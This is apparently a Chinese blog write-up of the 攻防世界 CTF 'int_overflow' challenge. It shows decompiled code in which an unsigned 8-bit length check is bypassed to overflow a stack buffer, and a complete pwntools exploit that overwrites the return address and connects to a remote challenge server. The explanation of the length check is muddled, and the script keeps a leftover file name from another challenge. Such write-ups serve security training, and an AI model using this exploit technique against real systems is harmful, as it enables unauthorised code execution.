当前位置:网站首页>PWN攻防世界int_overflow
PWN攻防世界int_overflow
2022-07-01 07:27:00 【Day-3】

首先,我们运行并查看一下文件。

丢入IDA中,查看源代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
查看之后,这个buf可以进行溢出操作。但需要注意,他转换为二进制的后两位需要大于3小于等于8。
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x14 + 0x04) + p32(system_addr)
payload = payload.ljust(260,b"a")
day3.sendlineafter("Your choice:","1")
day3.sendlineafter("Please input your username:\n","123")
day3.recvuntil("Please input your passwd:\n")
day3.sendline(payload)
day3.interactive()
main()

得到Flag。
边栏推荐
- 2022年流动式起重机司机考试练习题及在线模拟考试
- Redisson utilise la solution complète - redisson Documents officiels + commentaires (Partie 1)
- Oracle创建自增id
- Redisson uses the full solution - redisson official document + comments (Part 2)
- ctfshow-web352,353(SSRF)
- Redisson uses the full solution - redisson official documents + comments (Part 2)
- MATLAB之基础知识
- 【R语言】年龄性别频数匹配 挑选样本 病例对照研究,对年龄性别进行频数匹配
- Summary of the concept and advantages of 5g massive MIMO
- Subclasses call methods and properties of the parent class with the same name
猜你喜欢
随机推荐
赌上了绩效,赢了公司CTO,我要搭DevOps平台!
2022 test questions and mock examinations for main principals of hazardous chemicals business units
Huawei modelarts training alexnet model
[programming compulsory training 3] find the longest consecutive number string in the string + the number that appears more than half of the times in the array
The programmer of Beipiao posted a post for help late at night: I am lonely when my girlfriend is gone
AUTOSAR learning record (1) – ECUM_ Init
Inventory the six second level capabilities of Huawei cloud gaussdb (for redis)
MATLAB之基础知识
[classification model] Q-type cluster analysis
C# Newtonsoft.Json中JObject的使用
华为ModelArts训练Alexnet模型
[software] phantomjs screenshot
ctfshow-web354(SSRF)
Understanding of Turing test and Chinese Room
[软件] phantomjs屏幕截图
1286_FreeRTOS的任务优先级设置实现分析
C language implementation [minesweeping game] full version (implementation source code)
Mysql与Redis一致性解决方案
LeetCode+ 71 - 75
浏览器本地存储









